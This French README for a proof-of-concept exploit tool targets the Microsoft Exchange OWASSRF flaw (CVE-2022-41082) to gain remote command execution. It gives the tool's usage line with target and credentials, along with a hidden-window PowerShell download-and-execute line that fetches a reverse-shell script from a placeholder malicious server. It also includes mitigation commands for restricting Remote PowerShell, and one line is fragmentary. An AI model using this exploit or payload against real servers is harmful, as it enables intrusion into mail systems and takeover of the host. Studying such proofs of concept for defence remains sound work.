
CVE-2022-41082-poc
Ce dépôt contient un outil de preuve de concept (PoC) pour exploiter la vulnérabilité OWASSRF (CVE-2022-41082) sur les serveurs Microsoft Exchange. L'exploit permet aux attaquants d'exécuter des commandes arbitraires sur le serveur, ce qui peut compromettre le système.
L'outil exploite une vulnérabilité OWASSRF pour contourner l'authentification et obtenir une exécution de code à distance (RCE) sur un serveur Exchange. En exploitant cette vulnérabilité, un attaquant peut exécuter des commandes comme s'il était un utilisateur authentifié, ce qui entraîne de graves implications en matière de sécurité.
Lorsque vous utilisez cet outil, veuillez vous assurer de garder ouverte la même session de l'Exchange Management Shell. Il est crucial d'activer l'accès Remote PowerShell pour au moins un utilisateur après l'avoir désactivé pour les autres. Sinon, vous risquez de perdre l'accès au Management Shell sur tous les serveurs Exchange.
Voici quelques commandes PowerShell utiles pour vérifier et gérer qui a accès :
Pour voir quels utilisateurs ont un accès Remote PowerShell et lesquels n'en ont pas, exécutez :
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $false'
Avertissement : veillez à ne pas fermer la fenêtre de l'Exchange Management Shell tant que vous n'avez pas rajouté au moins un utilisateur.
Vous pouvez désactiver l'accès PowerShell pour tous les utilisateurs à l'aide des commandes suivantes :
$user = Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
$user | foreach {Set-User -Identity $_ -RemotePowerShellEnabled $false}
Ou utilisez une commande unique pour obtenir le même résultat :
Get-User -ResultSize Unlimited | Set-User -RemotePowerShellEnabled $false
Pour accorder l'accès Remote PowerShell à un utilisateur spécifique, exécutez :
Set-User "guest" -RemotePowerShellEnabled $true
Si vous perdez l'accès PowerShell pour tous les utilisateurs, vous pouvez créer un nouvel utilisateur de boîte aux lettres avec des droits d'administrateur. Ce nouvel utilisateur contournera les politiques appliquées, ce qui vous permettra d'utiliser à nouveau l'Exchange Management Shell.
pip si nécessaire)Pour exécuter l'outil PoC, lancez la commande suivante :
python3 poc.py -H <target_IP> -u <username> -p <password> -c <command_file>
Remplacez <target_IP>, <username>, <password> et <command_file> par vos valeurs spécifiques.
Vous pouvez modifier la commande dans votre cmd_file pour inclure une charge utile de shell inversé. Par exemple :
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://your-malicious-server.com/reverse.ps1')"
Cette commande téléchargera et exécutera un script PowerShell depuis votre serveur, vous donnant un shell inversé.
Pour plus d'informations sur la vulnérabilité OWASSRF et le code du PoC, visitez le lien suivant : OWASSRF CVE-2022-41082 PoC et https://www.youtube.com/watch?v=c2DZYP6jc7g